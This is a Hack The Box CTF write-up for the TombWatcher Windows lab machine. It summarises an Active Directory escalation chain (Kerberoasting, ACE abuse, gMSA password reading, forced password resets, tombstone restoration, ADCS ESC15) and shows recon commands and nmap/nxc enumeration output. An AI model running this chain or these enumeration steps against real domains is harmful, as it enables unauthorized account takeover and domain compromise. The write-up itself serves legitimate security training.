🪦 HTB TombWatcher Write-up

Machine Information
As is common in real life Windows pentests, you will start the TombWatcher box with credentials for the following account: henry / H3nry_987TGV!
📝 Summary
TombWatcher was an interesting machine, focusing heavily on AD ACE abuse through a complex attack chain and ADCS escalation using ESC15.
- The AD ACE attack chain kicked off with Henry Kerberoasting Alfred. Alfred’s password was laughably weak, so cracking it was trivial.
- Alfred could add himself as a member to the
INFRASTRUCTUREgroup. - The
INFRASTRUCTUREgroup could read the GMSA password hash for theANSIBLE_DEV$computer account. - The
ANSIBLE_DEV$computer account was then used to force a password change for user Sam. - Sam then changed John’s password.
John was a member of Remote Management Users, so I could WinRM to the target using evil-winrm. John also had permissions to restore deleted AD objects (tombstones) - hence the machines’ name: TombWatcher.
John controlled the deleted cert_admin account: he restored it and changed its password.
I ran certipy-ad with the cert_admin credentials to probe ADCS and it flagged the ESC15 vulnerability. Following the Certipy ESC15 Wiki exploitation steps exposed the domain Administrator NTLM hash, and lead to full domain compromise.
🔗 AD ACE abuse attack chain
🔎 Recon
The initial scan revealed opened ports for a Windows Active Directory server, including access through WinRM port 5985/tcp. nmap showed the heavy use of certificates, indicating the presence of an Active Directory Certificate Services.
fcoomans@kali:~/htb/tombwatcher$ rustscan -a 10.10.11.72 --tries 5 --ulimit 10000 -- -sCV -oA tombwatcher_tcp_all
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Real hackers hack time ⌛
[~] The config file is expected to be at "/home/fcoomans/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.11.72:53
Open 10.10.11.72:80
Open 10.10.11.72:88
Open 10.10.11.72:135
Open 10.10.11.72:139
Open 10.10.11.72:389
Open 10.10.11.72:445
Open 10.10.11.72:464
Open 10.10.11.72:593
Open 10.10.11.72:636
Open 10.10.11.72:3268
Open 10.10.11.72:3269
Open 10.10.11.72:5985
Open 10.10.11.72:9389
Open 10.10.11.72:49666
Open 10.10.11.72:49691
Open 10.10.11.72:49692
Open 10.10.11.72:49693
Open 10.10.11.72:49712
Open 10.10.11.72:49718
Open 10.10.11.72:49737
[~] Starting Script(s)
[>] Running script "nmap -vvv -p - -sCV -oA tombwatcher_tcp_all" on ip 10.10.11.72
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-18 13:55 SAST
<SNIP>
Nmap scan report for 10.10.11.72
Host is up, received echo-reply ttl 127 (0.17s latency).
Scanned at 2025-07-18 13:55:44 SAST for 100s
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-07-18 09:07:01Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Issuer: commonName=tombwatcher-CA-1/domainComponent=tombwatcher
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2024-11-16T00:47:59
| Not valid after: 2025-11-16T00:47:59
| MD5: a396:4dc0:104d:3c58:54e0:19e3:c2ae:0666
| SHA-1: fe5e:76e2:d528:4a33:8adf:c84e:92e3:900e:4234:ef9c
| -----BEGIN CERTIFICATE-----
| MIIF9jCCBN6gAwIBAgITLgAAAAKKaXDNTUaJbgAAAAAAAjANBgkqhkiG9w0BAQUF
| ADBNMRMwEQYKCZImiZPyLGQBGRYDaHRiMRswGQYKCZImiZPyLGQBGRYLdG9tYndh
| dGNoZXIxGTAXBgNVBAMTEHRvbWJ3YXRjaGVyLUNBLTEwHhcNMjQxMTE2MDA0NzU5
| WhcNMjUxMTE2MDA0NzU5WjAfMR0wGwYDVQQDExREQzAxLnRvbWJ3YXRjaGVyLmh0
| YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAPkYtnAM++hvs4LhMUtp
| OFViax2s+4hbaS74kU86hie1/cujdlofvn6NyNppESgx99WzjmU5wthsP7JdSwNV
| XHo02ygX6aC4eJ1tbPbe7jGmVlHU3XmJtZgkTAOqvt1LMym+MRNKUHgGyRlF0u68
| IQsHqBQY8KC+sS1hZ+tvbuUA0m8AApjGC+dnY9JXlvJ81QleTcd/b1EWnyxfD1YC
| ezbtz1O51DLMqMysjR/nKYqG7j/R0yz2eVeX+jYa7ZODy0i1KdDVOKSHSEcjM3wf
| hk1qJYZHD+2Agn4ZSfckt0X8ZYeKyIMQor/uDNbr9/YtD1WfT8ol1oXxw4gh4Ye8
| ar0CAwEAAaOCAvswggL3MC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBv
| AG4AdAByAG8AbABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEw
| DgYDVR0PAQH/BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCA
| MA4GCCqGSIb3DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCG
| SAFlAwQBAjALBglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0O
| BBYEFAqc8X8Ifudq/MgoPpqm0L3u15pvMB8GA1UdIwQYMBaAFCrN5HoYF07vh90L
| HVZ5CkBQxvI6MIHPBgNVHR8EgccwgcQwgcGggb6ggbuGgbhsZGFwOi8vL0NOPXRv
| bWJ3YXRjaGVyLUNBLTEsQ049REMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIw
| U2VydmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz10b21id2F0
| Y2hlcixEQz1odGI/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29iamVj
| dENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIHGBggrBgEFBQcBAQSBuTCBtjCB
| swYIKwYBBQUHMAKGgaZsZGFwOi8vL0NOPXRvbWJ3YXRjaGVyLUNBLTEsQ049QUlB
| LENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZp
| Z3VyYXRpb24sREM9dG9tYndhdGNoZXIsREM9aHRiP2NBQ2VydGlmaWNhdGU/YmFz
| ZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MEAGA1UdEQQ5MDeg
| HwYJKwYBBAGCNxkBoBIEEPyy7selMmxPu2rkBnNzTmGCFERDMDEudG9tYndhdGNo
| ZXIuaHRiMA0GCSqGSIb3DQEBBQUAA4IBAQDHlJXOp+3AHiBFikML/iyk7hkdrrKd
| gm9JLQrXvxnZ5cJHCe7EM5lk65zLB6lyCORHCjoGgm9eLDiZ7cYWipDnCZIDaJdp
| Eqg4SWwTvbK+8fhzgJUKYpe1hokqIRLGYJPINNDI+tRyL74ZsDLCjjx0A4/lCIHK
| UVh/6C+B68hnPsCF3DZFpO80im6G311u4izntBMGqxIhnIAVYFlR2H+HlFS+J0zo
| x4qtaXNNmuaDW26OOtTf3FgylWUe5ji5MIq5UEupdOAI/xdwWV5M4gWFWZwNpSXG
| Xq2engKcrfy4900Q10HektLKjyuhvSdWuyDwGW1L34ZljqsDsqV1S0SE
|_-----END CERTIFICATE-----
|_ssl-date: 2025-07-18T09:08:44+00:00; -2h48m40s from scanner time.
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-18T09:08:42+00:00; -2h48m40s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Issuer: commonName=tombwatcher-CA-1/domainComponent=tombwatcher
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2024-11-16T00:47:59
| Not valid after: 2025-11-16T00:47:59
| MD5: a396:4dc0:104d:3c58:54e0:19e3:c2ae:0666
| SHA-1: fe5e:76e2:d528:4a33:8adf:c84e:92e3:900e:4234:ef9c
| -----BEGIN CERTIFICATE-----
| MIIF9jCCBN6gAwIBAgITLgAAAAKKaXDNTUaJbgAAAAAAAjANBgkqhkiG9w0BAQUF
| ADBNMRMwEQYKCZImiZPyLGQBGRYDaHRiMRswGQYKCZImiZPyLGQBGRYLdG9tYndh
| dGNoZXIxGTAXBgNVBAMTEHRvbWJ3YXRjaGVyLUNBLTEwHhcNMjQxMTE2MDA0NzU5
| WhcNMjUxMTE2MDA0NzU5WjAfMR0wGwYDVQQDExREQzAxLnRvbWJ3YXRjaGVyLmh0
| YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAPkYtnAM++hvs4LhMUtp
| OFViax2s+4hbaS74kU86hie1/cujdlofvn6NyNppESgx99WzjmU5wthsP7JdSwNV
| XHo02ygX6aC4eJ1tbPbe7jGmVlHU3XmJtZgkTAOqvt1LMym+MRNKUHgGyRlF0u68
| IQsHqBQY8KC+sS1hZ+tvbuUA0m8AApjGC+dnY9JXlvJ81QleTcd/b1EWnyxfD1YC
| ezbtz1O51DLMqMysjR/nKYqG7j/R0yz2eVeX+jYa7ZODy0i1KdDVOKSHSEcjM3wf
| hk1qJYZHD+2Agn4ZSfckt0X8ZYeKyIMQor/uDNbr9/YtD1WfT8ol1oXxw4gh4Ye8
| ar0CAwEAAaOCAvswggL3MC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBv
| AG4AdAByAG8AbABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEw
| DgYDVR0PAQH/BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCA
| MA4GCCqGSIb3DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCG
| SAFlAwQBAjALBglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0O
| BBYEFAqc8X8Ifudq/MgoPpqm0L3u15pvMB8GA1UdIwQYMBaAFCrN5HoYF07vh90L
| HVZ5CkBQxvI6MIHPBgNVHR8EgccwgcQwgcGggb6ggbuGgbhsZGFwOi8vL0NOPXRv
| bWJ3YXRjaGVyLUNBLTEsQ049REMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIw
| U2VydmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz10b21id2F0
| Y2hlcixEQz1odGI/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29iamVj
| dENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIHGBggrBgEFBQcBAQSBuTCBtjCB
| swYIKwYBBQUHMAKGgaZsZGFwOi8vL0NOPXRvbWJ3YXRjaGVyLUNBLTEsQ049QUlB
| LENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZp
| Z3VyYXRpb24sREM9dG9tYndhdGNoZXIsREM9aHRiP2NBQ2VydGlmaWNhdGU/YmFz
| ZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MEAGA1UdEQQ5MDeg
| HwYJKwYBBAGCNxkBoBIEEPyy7selMmxPu2rkBnNzTmGCFERDMDEudG9tYndhdGNo
| ZXIuaHRiMA0GCSqGSIb3DQEBBQUAA4IBAQDHlJXOp+3AHiBFikML/iyk7hkdrrKd
| gm9JLQrXvxnZ5cJHCe7EM5lk65zLB6lyCORHCjoGgm9eLDiZ7cYWipDnCZIDaJdp
| Eqg4SWwTvbK+8fhzgJUKYpe1hokqIRLGYJPINNDI+tRyL74ZsDLCjjx0A4/lCIHK
| UVh/6C+B68hnPsCF3DZFpO80im6G311u4izntBMGqxIhnIAVYFlR2H+HlFS+J0zo
| x4qtaXNNmuaDW26OOtTf3FgylWUe5ji5MIq5UEupdOAI/xdwWV5M4gWFWZwNpSXG
| Xq2engKcrfy4900Q10HektLKjyuhvSdWuyDwGW1L34ZljqsDsqV1S0SE
|_-----END CERTIFICATE-----
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Issuer: commonName=tombwatcher-CA-1/domainComponent=tombwatcher
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2024-11-16T00:47:59
| Not valid after: 2025-11-16T00:47:59
| MD5: a396:4dc0:104d:3c58:54e0:19e3:c2ae:0666
| SHA-1: fe5e:76e2:d528:4a33:8adf:c84e:92e3:900e:4234:ef9c
| -----BEGIN CERTIFICATE-----
| MIIF9jCCBN6gAwIBAgITLgAAAAKKaXDNTUaJbgAAAAAAAjANBgkqhkiG9w0BAQUF
| ADBNMRMwEQYKCZImiZPyLGQBGRYDaHRiMRswGQYKCZImiZPyLGQBGRYLdG9tYndh
| dGNoZXIxGTAXBgNVBAMTEHRvbWJ3YXRjaGVyLUNBLTEwHhcNMjQxMTE2MDA0NzU5
| WhcNMjUxMTE2MDA0NzU5WjAfMR0wGwYDVQQDExREQzAxLnRvbWJ3YXRjaGVyLmh0
| YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAPkYtnAM++hvs4LhMUtp
| OFViax2s+4hbaS74kU86hie1/cujdlofvn6NyNppESgx99WzjmU5wthsP7JdSwNV
| XHo02ygX6aC4eJ1tbPbe7jGmVlHU3XmJtZgkTAOqvt1LMym+MRNKUHgGyRlF0u68
| IQsHqBQY8KC+sS1hZ+tvbuUA0m8AApjGC+dnY9JXlvJ81QleTcd/b1EWnyxfD1YC
| ezbtz1O51DLMqMysjR/nKYqG7j/R0yz2eVeX+jYa7ZODy0i1KdDVOKSHSEcjM3wf
| hk1qJYZHD+2Agn4ZSfckt0X8ZYeKyIMQor/uDNbr9/YtD1WfT8ol1oXxw4gh4Ye8
| ar0CAwEAAaOCAvswggL3MC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBv
| AG4AdAByAG8AbABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEw
| DgYDVR0PAQH/BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCA
| MA4GCCqGSIb3DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCG
| SAFlAwQBAjALBglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0O
| BBYEFAqc8X8Ifudq/MgoPpqm0L3u15pvMB8GA1UdIwQYMBaAFCrN5HoYF07vh90L
| HVZ5CkBQxvI6MIHPBgNVHR8EgccwgcQwgcGggb6ggbuGgbhsZGFwOi8vL0NOPXRv
| bWJ3YXRjaGVyLUNBLTEsQ049REMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIw
| U2VydmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz10b21id2F0
| Y2hlcixEQz1odGI/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29iamVj
| dENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIHGBggrBgEFBQcBAQSBuTCBtjCB
| swYIKwYBBQUHMAKGgaZsZGFwOi8vL0NOPXRvbWJ3YXRjaGVyLUNBLTEsQ049QUlB
| LENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZp
| Z3VyYXRpb24sREM9dG9tYndhdGNoZXIsREM9aHRiP2NBQ2VydGlmaWNhdGU/YmFz
| ZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MEAGA1UdEQQ5MDeg
| HwYJKwYBBAGCNxkBoBIEEPyy7selMmxPu2rkBnNzTmGCFERDMDEudG9tYndhdGNo
| ZXIuaHRiMA0GCSqGSIb3DQEBBQUAA4IBAQDHlJXOp+3AHiBFikML/iyk7hkdrrKd
| gm9JLQrXvxnZ5cJHCe7EM5lk65zLB6lyCORHCjoGgm9eLDiZ7cYWipDnCZIDaJdp
| Eqg4SWwTvbK+8fhzgJUKYpe1hokqIRLGYJPINNDI+tRyL74ZsDLCjjx0A4/lCIHK
| UVh/6C+B68hnPsCF3DZFpO80im6G311u4izntBMGqxIhnIAVYFlR2H+HlFS+J0zo
| x4qtaXNNmuaDW26OOtTf3FgylWUe5ji5MIq5UEupdOAI/xdwWV5M4gWFWZwNpSXG
| Xq2engKcrfy4900Q10HektLKjyuhvSdWuyDwGW1L34ZljqsDsqV1S0SE
|_-----END CERTIFICATE-----
|_ssl-date: 2025-07-18T09:08:44+00:00; -2h48m40s from scanner time.
3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-18T09:08:42+00:00; -2h48m40s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Issuer: commonName=tombwatcher-CA-1/domainComponent=tombwatcher
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2024-11-16T00:47:59
| Not valid after: 2025-11-16T00:47:59
| MD5: a396:4dc0:104d:3c58:54e0:19e3:c2ae:0666
| SHA-1: fe5e:76e2:d528:4a33:8adf:c84e:92e3:900e:4234:ef9c
| -----BEGIN CERTIFICATE-----
| MIIF9jCCBN6gAwIBAgITLgAAAAKKaXDNTUaJbgAAAAAAAjANBgkqhkiG9w0BAQUF
| ADBNMRMwEQYKCZImiZPyLGQBGRYDaHRiMRswGQYKCZImiZPyLGQBGRYLdG9tYndh
| dGNoZXIxGTAXBgNVBAMTEHRvbWJ3YXRjaGVyLUNBLTEwHhcNMjQxMTE2MDA0NzU5
| WhcNMjUxMTE2MDA0NzU5WjAfMR0wGwYDVQQDExREQzAxLnRvbWJ3YXRjaGVyLmh0
| YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAPkYtnAM++hvs4LhMUtp
| OFViax2s+4hbaS74kU86hie1/cujdlofvn6NyNppESgx99WzjmU5wthsP7JdSwNV
| XHo02ygX6aC4eJ1tbPbe7jGmVlHU3XmJtZgkTAOqvt1LMym+MRNKUHgGyRlF0u68
| IQsHqBQY8KC+sS1hZ+tvbuUA0m8AApjGC+dnY9JXlvJ81QleTcd/b1EWnyxfD1YC
| ezbtz1O51DLMqMysjR/nKYqG7j/R0yz2eVeX+jYa7ZODy0i1KdDVOKSHSEcjM3wf
| hk1qJYZHD+2Agn4ZSfckt0X8ZYeKyIMQor/uDNbr9/YtD1WfT8ol1oXxw4gh4Ye8
| ar0CAwEAAaOCAvswggL3MC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBv
| AG4AdAByAG8AbABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEw
| DgYDVR0PAQH/BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCA
| MA4GCCqGSIb3DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCG
| SAFlAwQBAjALBglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0O
| BBYEFAqc8X8Ifudq/MgoPpqm0L3u15pvMB8GA1UdIwQYMBaAFCrN5HoYF07vh90L
| HVZ5CkBQxvI6MIHPBgNVHR8EgccwgcQwgcGggb6ggbuGgbhsZGFwOi8vL0NOPXRv
| bWJ3YXRjaGVyLUNBLTEsQ049REMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIw
| U2VydmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz10b21id2F0
| Y2hlcixEQz1odGI/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdD9iYXNlP29iamVj
| dENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIHGBggrBgEFBQcBAQSBuTCBtjCB
| swYIKwYBBQUHMAKGgaZsZGFwOi8vL0NOPXRvbWJ3YXRjaGVyLUNBLTEsQ049QUlB
| LENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZp
| Z3VyYXRpb24sREM9dG9tYndhdGNoZXIsREM9aHRiP2NBQ2VydGlmaWNhdGU/YmFz
| ZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MEAGA1UdEQQ5MDeg
| HwYJKwYBBAGCNxkBoBIEEPyy7selMmxPu2rkBnNzTmGCFERDMDEudG9tYndhdGNo
| ZXIuaHRiMA0GCSqGSIb3DQEBBQUAA4IBAQDHlJXOp+3AHiBFikML/iyk7hkdrrKd
| gm9JLQrXvxnZ5cJHCe7EM5lk65zLB6lyCORHCjoGgm9eLDiZ7cYWipDnCZIDaJdp
| Eqg4SWwTvbK+8fhzgJUKYpe1hokqIRLGYJPINNDI+tRyL74ZsDLCjjx0A4/lCIHK
| UVh/6C+B68hnPsCF3DZFpO80im6G311u4izntBMGqxIhnIAVYFlR2H+HlFS+J0zo
| x4qtaXNNmuaDW26OOtTf3FgylWUe5ji5MIq5UEupdOAI/xdwWV5M4gWFWZwNpSXG
| Xq2engKcrfy4900Q10HektLKjyuhvSdWuyDwGW1L34ZljqsDsqV1S0SE
|_-----END CERTIFICATE-----
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49691/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49692/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49693/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49712/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49718/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49737/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
<SNIP>
After pointing tombwatcher.htb and dc01.tombwatcher.htb in /etc/hosts,
fcoomans@kali:~/htb/tombwatcher$ grep tombwatcher.htb /etc/hosts
10.10.11.72 tombwatcher.htb dc01.tombwatcher.htb
I ran an nmap UDP port scan, that detected UDP-related Windows Active Directory services.
fcoomans@kali:~/htb/tombwatcher$ nmap --top-ports 100 --open -sU tombwatcher.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-18 13:58 SAST
Nmap scan report for tombwatcher.htb (10.10.11.72)
Host is up (0.17s latency).
Not shown: 97 open|filtered udp ports (no-response)
PORT STATE SERVICE
53/udp open domain
88/udp open kerberos-sec
123/udp open ntp
Nmap done: 1 IP address (1 host up) scanned in 7.67 seconds
fcoomans@kali:~/htb/tombwatcher$ sudo ntpdate dc01.tombwatcher.htb
2025-07-18 11:10:55.916311 (+0200) -10106.318620 +/- 0.082921 dc01.tombwatcher.htb 10.10.11.72 s1 no-leap
CLOCK: time stepped by -10106.318620
Using the provided credentials with nxc; only a handful of domain users and services exist on the target.
fcoomans@kali:~/htb/tombwatcher$ nxc ldap dc01.tombwatcher.htb -u henry -p H3nry_987TGV! --users
LDAP 10.10.11.72 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb)
LDAP 10.10.11.72 389 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!
LDAP 10.10.11.72 389 DC01 [*] Enumerated 7 domain users: tombwatcher.htb
LDAP 10.10.11.72 389 DC01 -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.10.11.72 389 DC01 Administrator 2025-04-25 16:56:03 0 Built-in account for administering the computer/domain
LDAP 10.10.11.72 389 DC01 Guest <never> 0 Built-in account for guest access to the computer/domain
LDAP 10.10.11.72 389 DC01 krbtgt 2024-11-16 02:02:28 0 Key Distribution Center Service Account
LDAP 10.10.11.72 389 DC01 Henry 2025-05-12 17:17:03 0
LDAP 10.10.11.72 389 DC01 Alfred 2025-05-12 17:17:03 0
LDAP 10.10.11.72 389 DC01 sam 2025-05-12 17:17:03 0
LDAP 10.10.11.72 389 DC01 john 2025-05-19 15:25:10 0
Group membership were also queried. The user John can WinRM into the target.
fcoomans@kali:~/htb/tombwatcher$ nxc ldap dc01.tombwatcher.htb -u henry -p H3nry_987TGV! --groups |grep -v "membercount: 0"
LDAP 10.10.11.72 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb)
LDAP 10.10.11.72 389 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!
LDAP 10.10.11.72 389 DC01 Administrators membercount: 3
LDAP 10.10.11.72 389 DC01 Users membercount: 4
LDAP 10.10.11.72 389 DC01 Guests membercount: 2
LDAP 10.10.11.72 389 DC01 Certificate Service DCOM Access membercount: 1
LDAP 10.10.11.72 389 DC01 Remote Management Users membercount: 1
LDAP 10.10.11.72 389 DC01 Schema Admins membercount: 1
LDAP 10.10.11.72 389 DC01 Enterprise Admins membercount: 1
LDAP 10.10.11.72 389 DC01 Cert Publishers membercount: 1
LDAP 10.10.11.72 389 DC01 Domain Admins membercount: 1
LDAP 10.10.11.72 389 DC01 Group Policy Creator Owners membercount: 1
LDAP 10.10.11.72 389 DC01 Pre-Windows 2000 Compatible Access membercount: 2
LDAP 10.10.11.72 389 DC01 Windows Authorization Access Group membercount: 1
LDAP 10.10.11.72 389 DC01 Denied RODC Password Replication Group membercount: 8
fcoomans@kali:~/htb/tombwatcher$ nxc ldap dc01.tombwatcher.htb -u henry -p H3nry_987TGV! --groups Administrators
LDAP 10.10.11.72 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb)
LDAP 10.10.11.72 389 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!
LDAP 10.10.11.72 389 DC01 Domain Admins
LDAP 10.10.11.72 389 DC01 Enterprise Admins
LDAP 10.10.11.72 389 DC01 Administrator
fcoomans@kali:~/htb/tombwatcher$ nxc ldap dc01.tombwatcher.htb -u henry -p H3nry_987TGV! --groups "Remote Management Users"
LDAP 10.10.11.72 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb)
LDAP 10.10.11.72 389 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!
LDAP 10.10.11.72 389 DC01 john
The password policy showed that there was no account lockout configured. So, on-line brute forcing and other password discovery techniques could be used without fear of locking domain accounts.
fcoomans@kali:~/htb/tombwatcher$ nxc smb dc01.tombwatcher.htb -u henry -p H3nry_987TGV! --pass-pol
SMB 10.10.11.72 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.72 445 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!
SMB 10.10.11.72 445 DC01 [+] Dumping password info for domain: TOMBWATCHER
SMB 10.10.11.72 445 DC01 Minimum password length: 1
SMB 10.10.11.72 445 DC01 Password history length: 24
SMB 10.10.11.72 445 DC01 Maximum password age: Not Set
SMB 10.10.11.72 445 DC01
SMB 10.10.11.72 445 DC01 Password Complexity Flags: 000000
SMB 10.10.11.72 445 DC01 Domain Refuse Password Change: 0
SMB 10.10.11.72 445 DC01 Domain Password Store Cleartext: 0
SMB 10.10.11.72 445 DC01 Domain Password Lockout Admins: 0
SMB 10.10.11.72 445 DC01 Domain Password No Clear Change: 0
SMB 10.10.11.72 445 DC01 Domain Password No Anon Change: 0
SMB 10.10.11.72 445 DC01 Domain Password Complex: 0
SMB 10.10.11.72 445 DC01
SMB 10.10.11.72 445 DC01 Minimum password age: None
SMB 10.10.11.72 445 DC01 Reset Account Lockout Counter: 30 minutes
SMB 10.10.11.72 445 DC01 Locked Account Duration: 30 minutes
SMB 10.10.11.72 445 DC01 Account Lockout Threshold: None
SMB 10.10.11.72 445 DC01 Forced Log off Time: Not Set
